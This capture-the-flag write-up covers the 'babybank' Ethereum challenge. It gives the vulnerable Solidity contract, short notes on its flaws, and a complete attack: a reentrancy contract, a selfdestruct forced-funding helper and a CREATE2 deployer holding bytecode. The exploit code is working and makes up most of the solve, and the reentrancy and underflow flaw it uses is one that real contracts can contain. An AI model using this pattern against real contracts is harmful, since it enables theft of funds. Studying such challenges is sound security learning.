16.reentrancy @babybank
2023-06-29 15:54:40 # 02.ChainflagCTF

reentrancy @babybank

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
pragma solidity ^0.4.23;

contract babybank {
mapping(address => uint) public balance;
mapping(address => uint) public level;
address owner;
uint secret;

//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.
//Gmail is ok. 163 and qq may have some problems.
event sendflag(string md5ofteamtoken,string b64email);


constructor()public{
owner = msg.sender;
}

//pay for flag
function payforflag(string md5ofteamtoken,string b64email) public{
require(balance[msg.sender] >= 10000000000);
balance[msg.sender]=0;
owner.transfer(address(this).balance);
emit sendflag(md5ofteamtoken,b64email);
}

modifier onlyOwner(){
require(msg.sender == owner);
_;
}

//challenge 1
function profit() public{
require(level[msg.sender]==0);
require(uint(msg.sender) & 0xffff==0xb1b1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 2
function set_secret(uint new_secret) public onlyOwner{
secret=new_secret;
}
function guess(uint guess_secret) public{
require(guess_secret==secret);
require(level[msg.sender]==1);
balance[msg.sender]+=1;
level[msg.sender]+=1;
}

//challenge 3

function transfer(address to, uint amount) public{
require(balance[msg.sender] >= amount);
require(amount==2);
require(level[msg.sender]==2);
balance[msg.sender] = 0;
balance[to] = amount;
}

function withdraw(uint amount) public{
require(amount==2);
require(balance[msg.sender] >= amount);
msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;
}
}

analyses

  • challenge 1:CREATE2
  • challenge 2:the secret is not initialized, it is 0.
  • challenge 3:Reentrant, underflow, compulsory transfer of funds

solve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
pragma solidity 0.8.16;

interface IBabybank {
function profit() external;
function guess(uint256) external;
function withdraw(uint256) external;
function payforflag(string memory ,string memory ) external;
}

contract attack{
IBabybank public bank;
bool public isWithdraw;
function step01_setBank(address _addr)public{
bank = IBabybank(_addr);
}

function step02_profit()public{
bank.profit();
}
function step03_guess()public{
bank.guess(0);
}
function step04_withdraw()public{
bank.withdraw(2);
}

function step05_complete()public{
bank.payforflag("successfully","successfully");
}

fallback()external payable{
if(!isWithdraw){
isWithdraw = true;
bank.withdraw(2);
}
}

}

contract sendMoney {
function die(address payable _addr) public payable {
selfdestruct(_addr);
}
}

contract deployer{
bytes attackCode = hex"608060405234801561001057600080fd5b50610990806100206000396000f3fe6080604052600436106100745760003560e01c80636c0c816c1161004e5780636c0c816c1461020657806376cdb03b1461021d578063dbae172c14610248578063e64174ad1461027357610075565b8063090d23b9146101af578063522e1177146101d85780635619253b146101ef57610075565b5b6100b36040518060400160405280600f81526020017f6265666f72652066616c6c6261636b000000000000000000000000000000000081525061028a565b600060149054906101000a900460ff166101ad576101056040518060400160405280600881526020017f66616c6c6261636b00000000000000000000000000000000000000000000000081525061028a565b6001600060146101000a81548160ff02191690831515021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60026040518263ffffffff1660e01b815260040161017a9190610636565b600060405180830381600087803b15801561019457600080fd5b505af11580156101a8573d6000803e3d6000fd5b505050505b005b3480156101bb57600080fd5b506101d660048036038101906101d191906106b4565b610323565b005b3480156101e457600080fd5b506101ed610366565b005b3480156101fb57600080fd5b506102046103f1565b005b34801561021257600080fd5b5061021b61047f565b005b34801561022957600080fd5b50610232610501565b60405161023f9190610736565b60405180910390f35b34801561025457600080fd5b5061025d610525565b60405161026a919061076c565b60405180910390f35b34801561027f57600080fd5b50610288610538565b005b6103208160405160240161029e9190610817565b6040516020818303038152906040527f41304fac000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506105c6565b50565b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638c0320de6040518163ffffffff1660e01b81526004016103bd906108d1565b600060405180830381600087803b1580156103d757600080fd5b505af11580156103eb573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639189fec160006040518263ffffffff1660e01b815260040161044b919061093f565b600060405180830381600087803b15801561046557600080fd5b505af1158015610479573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166366d16cc36040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156104e757600080fd5b505af11580156104fb573d6000803e3d6000fd5b50505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060149054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632e1a7d4d60026040518263ffffffff1660e01b81526004016105929190610636565b600060405180830381600087803b1580156105ac57600080fd5b505af11580156105c0573d6000803e3d6000fd5b50505050565b60006a636f6e736f6c652e6c6f679050600080835160208501845afa505050565b6000819050919050565b6000819050919050565b6000819050919050565b600061062061061b610616846105e7565b6105fb565b6105f1565b9050919050565b61063081610605565b82525050565b600060208201905061064b6000830184610627565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061068182610656565b9050919050565b61069181610676565b811461069c57600080fd5b50565b6000813590506106ae81610688565b92915050565b6000602082840312156106ca576106c9610651565b5b60006106d88482850161069f565b91505092915050565b60006106fc6106f76106f284610656565b6105fb565b610656565b9050919050565b600061070e826106e1565b9050919050565b600061072082610703565b9050919050565b61073081610715565b82525050565b600060208201905061074b6000830184610727565b92915050565b60008115159050919050565b61076681610751565b82525050565b6000602082019050610781600083018461075d565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156107c15780820151818401526020810190506107a6565b60008484015250505050565b6000601f19601f8301169050919050565b60006107e982610787565b6107f38185610792565b93506108038185602086016107a3565b61080c816107cd565b840191505092915050565b6000602082019050818103600083015261083181846107de565b905092915050565b7f636861696e666c61670000000000000000000000000000000000000000000000600082015250565b600061086f600983610792565b915061087a82610839565b602082019050919050565b7f6261627962616e6b000000000000000000000000000000000000000000000000600082015250565b60006108bb600883610792565b91506108c682610885565b602082019050919050565b600060408201905081810360008301526108ea81610862565b905081810360208301526108fd816108ae565b9050919050565b6000819050919050565b600061092961092461091f84610904565b6105fb565b6105f1565b9050919050565b6109398161090e565b82525050565b60006020820190506109546000830184610930565b9291505056fea2646970667358221220e74d36bd68266726f240a7741fb3c927d40ee81e4bc6f8fba5f0bbb9ef54c35764736f6c63430008100033";
function deploy(bytes32 salt) public returns(address){
bytes memory bytecode = attackCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}
function getHash()public view returns(bytes32){
return keccak256(attackCode);
}
}